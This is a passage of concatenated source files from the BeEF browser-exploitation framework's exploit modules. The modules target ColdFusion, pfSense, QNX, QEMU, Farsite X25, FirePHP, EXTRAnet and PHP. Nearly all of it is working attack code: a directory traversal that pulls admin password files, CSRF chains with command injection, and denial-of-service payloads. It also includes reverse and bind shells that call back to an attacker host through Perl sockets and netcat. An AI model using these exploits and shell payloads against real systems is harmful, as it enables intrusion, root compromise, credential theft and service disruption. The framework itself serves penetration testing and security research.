Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Linksys_wvc_wireless_camera_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.101/' }, { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/exploits/coldfusion_dir_traversal_exploit/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * ColdFusion Directory Traversal Exploit (CVE-2010-2861) by antisnatchor . * Inject into the vulnerable "locale" parameter the classic payload of a directory traversal. * By default the exploit will retrieve the password.properties file, where the CF admin passwd is stored: * the user is free to specify any other path that will be appended to the server root (ie C:\ on Windows) * * On a default win installation, the following vector works great: * http://127.0.0.1:8500/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../..\ColdFusion8\lib\password.properties%00en * demo CF application-> http://blogs.sitepoint.com/applications-coldfusion-8/ */ beef.execute(function() { fileToRetrieve = "<%= @fileToRetrieve %>"; targetOS = "<%= @os_combobox %>"; cf_version = "<%= @cf_version %>"; var uri = null; if(targetOS == "Windows"){ uri = '/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../..\\ColdFusion' + cf_version + '\\lib\\' + fileToRetrieve + '%00en'; }else{ uri = '/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../../opt/coldfusion' + cf_version + '/lib/' + fileToRetrieve + '%00en'; } beef.net.request("http", "GET", document.domain, document.location.port, uri,null, null, 10, 'text', function(response){ if(response.status_code == "success"){ titleStart = response.response_body.indexOf(""); titleEnd = response.response_body.indexOf(""); exploitResults = response.response_body.substring(titleStart + 7,titleEnd); beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=Retrieved contents for file [" + fileToRetrieve + "]: " + exploitResults); }else{ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: directory traversal failed."); } }); }); ================================================ FILE: modules/exploits/coldfusion_dir_traversal_exploit/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: coldfusion_dir_traversal_exploit: enable: true category: "Exploits" name: "ColdFusion Directory Traversal Exploit" description: "ColdFusion 9.0, 8.0.1, 9.0 and 9.0.1 are vulnerable to directory traversal that leads to arbitrary file retrieval from the ColdFusion server (CVE-2010-2861)" authors: ["antisnatchor"] target: working: ["ALL"] ================================================ FILE: modules/exploits/coldfusion_dir_traversal_exploit/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Coldfusion_dir_traversal_exploit < BeEF::Core::Command def self.options [ { 'name' => 'fileToRetrieve', 'ui_label' => 'Retrieve file (in CF /lib dir)', 'value' => 'password.properties' }, { 'name' => 'os_combobox', 'type' => 'combobox', 'ui_label' => 'CF server OS', 'store_type' => 'arraystore', 'store_fields' => ['os'], 'store_data' => [['Windows'], ['Linux/MacOSX/*BSD']], 'valueField' => 'os', 'displayField' => 'os', 'mode' => 'local', 'autoWidth' => true }, { 'name' => 'cf_version', 'type' => 'combobox', 'ui_label' => 'ColdFusion version', 'store_type' => 'arraystore', 'store_fields' => ['cf_version'], 'store_data' => [['8'], ['9']], 'valueField' => 'cf_version', 'displayField' => 'cf_version', 'mode' => 'local', 'autoWidth' => true } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/exploits/extract_cmd_exec/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var timeout = '<%= @timeout %>'; // validate payload try { var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>'; var payload = 'createuser '+cmd+'&>/dev/null; echo;\r\nquit\r\n'; } catch(e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString()); return; } // validate target details if (!rport || !rhost) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port'); return; } if (!beef.net.is_valid_port(rport)) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port'); return; } // send commands var extract_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent commands"); // clean up cleanup = function() { document.body.removeChild(extract_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); }); ================================================ FILE: modules/exploits/extract_cmd_exec/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: extract_cmd_exec: enable: true category: "Exploits" name: "EXTRAnet Collaboration Tool (extra-ct) Command Execution" description: "This module exploits a command execution vulnerability in the 'admserver' component of the EXTRAnet Collaboration Tool (default port 10100) to execute operating system commands.

    The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.

    The results of the commands are not returned to BeEF.

    Note: Spaces in the command are not supported." authors: ["bcoles"] target: working: ["FF", "C"] not_working: ["IE"] ================================================ FILE: modules/exploits/extract_cmd_exec/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission ### # Reference: http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/ ### # EXTRAnet Collaboration Tool (extra-ct) # Version: 0.5.1 # Homepage: http://www.extra-ct.net/ # Source: http://code.google.com/p/extra-ct/ # Source: http://sourceforge.net/projects/extract/ ### class Extract_cmd_exec < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' }, { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '10100' }, { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' }, { 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea', 'value' => '{netcat,-l,-p,1337,-e,/bin/bash}', 'width' => '200px' } ] end def post_execute save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil? save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil? end end ================================================ FILE: modules/exploits/farsite_x25_remote_shell/command.js ================================================ // beef.execute(function() { var rhost = '<%= @rhost %>'; var scheme = '<%= @scheme %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; writefile = function() { var revshell='use+IO;$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}'; revshell = revshell + '$c=new IO::Socket::INET(PeerAddr,"' + lhost + ':' + lport +'");'; revshell = revshell + 'STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'; var x25w_<%= @command_id %>= beef.dom.createInvisibleIframe(); var uri = scheme + '://' + rhost + "/fsSaveUIPersistence.php?strSubmitData=" + revshell; //About to hit uri x25w_<%= @command_id %>.setAttribute('src', uri); }; exploit = function() { //Command injecting on the router var x25e_<%= @command_id %> = beef.dom.createInvisibleIframe(); var uri = scheme + '://' + rhost + "/fsx25MonProxy.php?strSubmitData=start+|perl.setAttribute('src', uri); }; try { writefile(); setTimeout(exploit,5000); } catch (e) { beef.debug(peer + " - Exploit failed: " + e.message); } }); ================================================ FILE: modules/exploits/farsite_x25_remote_shell/config.yaml ================================================ # beef: module: farsite_X25_remote_shell: enable: true category: "Exploits" name: "Farsite X25 gateway remote code execution" description: "This module exploits CVE-2014-7175 to write a payload to the router and CVE-2014-7173 to execute it. Once you have shell you can use the setuid /http/bin/execCmd to execute commands as root." authors: ["Wireghoul"] target: working: ["All"] ================================================ FILE: modules/exploits/farsite_x25_remote_shell/module.rb ================================================ class Farsite_x25_remote_shell < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance beef_host = @configuration.beef_host [ { 'name' => 'scheme', 'type' => 'combobox', 'ui_label' => 'HTTP(s)', 'store_type' => 'arraystore', 'store_fields' => ['http'], 'store_data' => [['HTTP'], ['HTTPS']], 'valueField' => 'http', 'displayField' => 'http', 'mode' => 'local', 'autoWidth' => true }, { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '10.0.0.1' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => beef_host.to_s }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/exploits/firephp/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // detect firebug if (window.console && (window.console.firebug || window.console.exception)) { var firephp_<%= @command_id %> = beef.dom.createInvisibleIframe(); firephp_<%= @command_id %>.src = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/firephp"; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Module did not run. Firebug is not open in the hooked browser."); return; } // clean up cleanup = function() { document.body.removeChild(firephp_<%= @command_id %>); } setTimeout("cleanup()", 10000); }); ================================================ FILE: modules/exploits/firephp/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # ### # Exploit: http://www.justanotherhacker.com/advisories/jahx132.html ### beef: module: firephp_code_exec: enable: true category: "Exploits" name: "Firephp 0.7.1 RCE" description: "Exploit FirePHP <= 0.7.1 to execute arbitrary JavaScript within the trusted 'chrome://' zone.

    This module forces the browser to load '/firephp' on the BeEF server.

    The payload is executed silently once the user moves the mouse over the array returned for 'http://[BeEF]/firephp' in Firebug.

    Note: Use msfpayload to generate JavaScript payloads. The default payload binds a shell on port 4444.
    See 'modules/exploits/firephp/payload.js'" authors: ["Wireghoul", "bcoles"] target: user_notify: ["FF"] not_working: ["All"] ================================================ FILE: modules/exploits/firephp/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission ### # PoC by Wireghoul: http://www.justanotherhacker.com/advisories/jahx132.html ### class Firephp_code_exec < BeEF::Core::Command def pre_send rand_str = rand(32**10).to_s(32) # load payload.js file # generate payload: # msfpayload firefox/shell_bind_tcp LPORT=4444 R > payload.js payload = '' f = File.open("#{$root_dir}/modules/exploits/firephp/payload.js") f.each_line do |line| payload << line end f.close # construct exploit+payload HTTP response exploit = { 'RequestHeaders' => { '1' => rand(10).to_s, '2' => rand(10).to_s, '3' => rand(10).to_s, '4' => rand(10).to_s, '5' => rand(10).to_s, '6' => rand(10).to_s, '7' => rand(10).to_s, '8' => rand(10).to_s, '9' => rand(10).to_s, "#lhostlport=' + lhost + ':' + lport + '&redir=' + encodeURIComponent(document.location); // Add dynamicaly the tag to disable referrer forwarding (pfSense check if the referrer is different, but uncheck if it's an empty referrer). beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Disable referrer forwarding in the hooked page (bypass pfSense referrer analysis)."); var meta = document.createElement('meta'); meta.name = "referrer"; meta.content = "no-referrer"; document.getElementsByTagName('head')[0].appendChild(meta); // Force redirection of the hooked page to the pfSense XSS-GET/CSRF-with-token/RCE-root payload (without referrer and X-frame-option bypass) // A full redirection is needed because pfSense disallow framing via X-frame-origin header... // The current URL of the hooked page is sent via the payload to redirect back after few second beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin)."); document.location = target; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); }); ================================================ FILE: modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: pfsense_2_3_2_reverse_root_shell_csrf: enable: true category: ["Exploits", "pfSense"] name: "pfSense <= 2.3.2 Reverse Root Shell CSRF" description: "Attempts to get a reverse root shell on a pfSense 2.3.2 firewall/router.
    Vulnerablity found and PoC provided by Yann CAM @ASafety / Synetis (demo video).
    Patched in version 2.3.33." authors: ["ycam"] target: user_notify: ["FF"] ================================================ FILE: modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Pfsense_2_3_2_reverse_root_shell_csrf < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js', '/x', 'js') end def self.options configuration = BeEF::Core::Configuration.instance lhost = configuration.get('beef.http.host').to_s lhost = '' if lhost == '0.0.0.0' [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.254' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' } ] end def post_execute BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js') save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js ================================================ // Function Ajax without JQuery library function ajax(url, method, data, async){ method = typeof method !== 'undefined' ? method : 'GET'; async = typeof async !== 'undefined' ? async : false; if(window.XMLHttpRequest) var xhReq = new XMLHttpRequest(); else var xhReq = new ActiveXObject("Microsoft.XMLHTTP"); if(method == 'POST'){ xhReq.open(method, url, async); xhReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest"); xhReq.send(data); } else { if(typeof data !== 'undefined' && data !== null) url = url+'?'+data; xhReq.open(method, url, async); xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest"); xhReq.send(null); } var serverResponse = xhReq.responseText; return serverResponse; } var hash = window.location.hash.substring(1); var lhostlport = hash.substring(hash.indexOf("lhostlport=")+11, hash.indexOf("&")); var splitlhostlport = lhostlport.split(":"); var lhost = splitlhostlport[0]; var lport = splitlhostlport[1]; var redir = hash.substring(hash.indexOf("redir=")+6, hash.length); var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%26%27%29%3B'; // Function with AJAX request // This function requests in GET an internal WebGUI page, which contains the token. // Source code of this webpage is passed to the extractToken() function. function loadToken(){ var response = ajax('/diag_command.php'); extractToken(response); } // Function called after AJAX request in a defined page of the context, which contains the token value function extractToken(response){ // response var contains the source code of the page requested by AJAX // Regex to catch the token value var regex = new RegExp("",'gi'); var token = response.match(regex); token = RegExp.$1; // Pass the token to the final function which make the CSRF final attack makeCSRF(token); } // Function with AJAX request // The token var is needed to perform the right CSRF attack with the context referer function makeCSRF(token){ // Final CSRF attack with right referer (because executed in the context) // and with right token captured above var response = ajax('/diag_command.php', 'POST', 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token); // Finally, redirect back to the initial hooked page document.location=decodeURIComponent(redir); } // The Reflected XSS is triggered several time. The next code force the RXSS firering only one time if (trigger){ } else { var trigger = function(){ loadToken(); }; trigger(); } ================================================ FILE: modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var pfsense_iframe = beef.dom.createIframeXsrfForm("https://" + rhost + ":" + rport +"/system_firmware.php", "POST", "application/x-www-form-urlencoded", [{'type':'hidden', 'name':'kerneltype', 'value':'SMP > /boot/kernel/pfsense_kernel.txt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + lhost + ' ' + lport + ' >/tmp/f &'}]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(pfsense_iframe); } setTimeout("cleanup()", 15000); }); ================================================ FILE: modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: pfsense_reverse_root_shell_csrf: enable: true category: ["Exploits", "pfSense"] name: "pfSense Reverse Root Shell CSRF" description: "Attempts to get a reverse root shell on a pfSense 2.0.1 firewall/router.
    Vulnerablity found and PoC provided by Yann CAM @ Synetis.
    The method described by Jeff Price has been used to create a reverse shell with netcat.
    For more information refer to http://www.exploit-db.com/exploits/23901/
    Patched in version 2.0.2." authors: ["bmantra"] target: working: ["ALL"] ================================================ FILE: modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Pfsense_reverse_root_shell_csrf < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance lhost = @configuration.beef_host lhost = '' if lhost == '0.0.0.0' [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '443' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/exploits/php-5.3.9-dos/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Simple proof of concept for PHP 5.3.9 DoS bug (CVE-2012-0830) // PoC written by Paul Westin // PoC ported to BeEF by bcoles // Bug discovered by Stefan Esser (@i0n1c) // For more information see http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/ // Generate 1000 normal keys and one array function createEvilObj () { var evil_obj = {}; for (var i = 0; i < 1001; i++) { evil_obj[i] = 1; } evil_obj['kill[]'] = 'kill'; return evil_obj; } // Serialize Javascript object into POST data function serializeObj (obj) { var str = []; for(var p in obj) { str.push(p + "=" + obj[p]); } return str.join("&"); } // Run attack function php_dos (target_url) { var bad = serializeObj(createEvilObj()); var xhr = new XMLHttpRequest(); xhr.open("POST", target_url, true); xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xhr.setRequestHeader('Content-Length', bad.length); xhr.send(bad); } try { php_dos("<%= @url %>"); beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent"); } catch (e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, "fail=request failed with error: "+e.toString()); } }); ================================================ FILE: modules/exploits/php-5.3.9-dos/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: php_dos: enable: true category: "Exploits" name: "PHP 5.3.9 DoS" description: "This module uses the zombie browser to exploit a denial of service bug in PHP 5.3.9 (CVE-2012-0830).

    For more information, see http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/." authors: ["bcoles", "Paul Westin", "Stefan Esser"] target: unknown: ["ALL"] ================================================ FILE: modules/exploits/php-5.3.9-dos/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Php_dos < BeEF::Core::Command def self.options [ { 'name' => 'url', 'ui_label' => 'Target URL', 'type' => 'textarea', 'value' => 'http://example.com/index.php', 'width' => '400px', 'height' => '50px' } ] end def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['result'].nil? content['fail'] = @datastore['fail'] unless @datastore['fail'].nil? save content end end ================================================ FILE: modules/exploits/qemu_monitor_migrate_cmd_exec/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var timeout = 5; var payload_name = '<%= @payload %>'; var peer = rhost + ':' + rport; payload = function() { var whitespace = ''; for (var i=0; i&1'"; payload = payload.replace(/ /g, whitespace); break; } return 'migrate "exec:' + payload + '"' } try { var code = payload(); beef.debug("[qemu_monitor_migrate_cmd_exec] " + peer + " - Sending payload (" + code.length + " bytes)"); var iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/", code); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); } catch(e) { beef.debug("[qemu_monitor_migrate_cmd_exec] " + peer + " - Exploit failed: " + e.message); } cleanup = function() { try { document.body.removeChild(iframe_<%= @command_id %>); } catch(e) { beef.debug("[qemu_monitor_migrate_cmd_exec] Could not remove iframe: " + e.message); } } setTimeout("cleanup()", timeout*1000); }); ================================================ FILE: modules/exploits/qemu_monitor_migrate_cmd_exec/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: qemu_monitor_migrate_cmd_exec: enable: true category: "Exploits" name: "QEMU Monitor 'migrate' Command Execution" description: "This module attempts to get a reverse shell from QEMU monitor service (TCP or Telnet) using the 'migrate' command.

    Works only if SSL/TLS and authentication are disabled. See: https://www.qemu.org/docs/master/system/security.html." authors: ["bcoles"] target: working: ["ALL"] ================================================ FILE: modules/exploits/qemu_monitor_migrate_cmd_exec/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Qemu_monitor_migrate_cmd_exec < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance lhost = configuration.beef_host lhost = '' if lhost == '0.0.0.0' [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' }, { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '' }, { 'name' => 'payload', 'type' => 'combobox', 'ui_label' => 'Payload', 'store_type' => 'arraystore', 'store_fields' => ['payload'], 'store_data' => [['reverse_bash'], ['reverse_netcat'], ['reverse_python2'], ['reverse_ruby']], 'emptyText' => 'Select a payload', 'valueField' => 'payload', 'displayField' => 'payload', 'mode' => 'local', 'forceSelection' => 'false', 'autoWidth' => true }, { 'name' => 'lhost', 'ui_label' => 'Listen Host', 'value' => lhost }, { 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '8080' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/exploits/qnx_qconn_command_execution/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var timeout = '<%= @timeout %>'; // validate payload try { var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>'; var payload = '\r\nservice launcher\r\nstart/flags run /bin/sh /bin/sh -c "'+cmd+'"\r\n' } catch(e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString()); return; } // validate target details if (!rport || !rhost) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port'); return; } if (!beef.net.is_valid_port(rport)) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port'); return; } // send commands var qnx_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(qnx_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); }); ================================================ FILE: modules/exploits/qnx_qconn_command_execution/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: qnx_qconn_command_execution: enable: true category: "Exploits" name: "QNX QCONN Command Execution" description: "This module exploits a vulnerability in the qconn component of QNX Neutrino which can be abused to allow unauthenticated users to execute arbitrary commands under the context of the 'root' user.

    The results of the commands are not returned to BeEF." authors: ["bcoles"] target: working: ["FF", "C", "O"] not_working: ["S", "IE"] ================================================ FILE: modules/exploits/qnx_qconn_command_execution/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Qnx_qconn_command_execution < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' }, { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '8000' }, { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' }, { 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute.', 'type' => 'textarea', 'value' => '(echo Welcome to BeEF!) > /etc/motd', 'width' => '200px' } ] end def post_execute save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil? save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil? end end ================================================ FILE: modules/exploits/resource_exhaustion_dos/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var resource_exhaustion_dos_<%= @command_id %> = beef.dom.createInvisibleIframe(); var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/dos'; resource_exhaustion_dos_<%= @command_id %>.setAttribute('src', url); beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent"); }); ================================================ FILE: modules/exploits/resource_exhaustion_dos/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: resource_exhaustion_dos: enable: true category: "Exploits" name: "Resource Exhaustion DoS" description: "This module attempts to exhaust system resources rendering the browser unusable." authors: ["bcoles"] target: working: ["FF", "IE", "S"] not_working: ["C"] ================================================ FILE: modules/exploits/resource_exhaustion_dos/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Resource_exhaustion_dos < BeEF::Core::Command def self.options [] end def pre_send src = %q{" src << "" src << '' BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw( '200', { 'Content-Type' => 'text/html' }, src, '/iframe', -1 ) end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/persistence/iframe_above/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.dom.persistentIframe(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.'); }); ================================================ FILE: modules/persistence/iframe_above/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: iframe_above: enable: true category: "Persistence" name: "Create Foreground iFrame" description: "Rewrites all links on the webpage to spawn a 100% by 100% iFrame with a source relative to the selected link." authors: ["passbe"] target: user_notify: ["ALL"] ================================================ FILE: 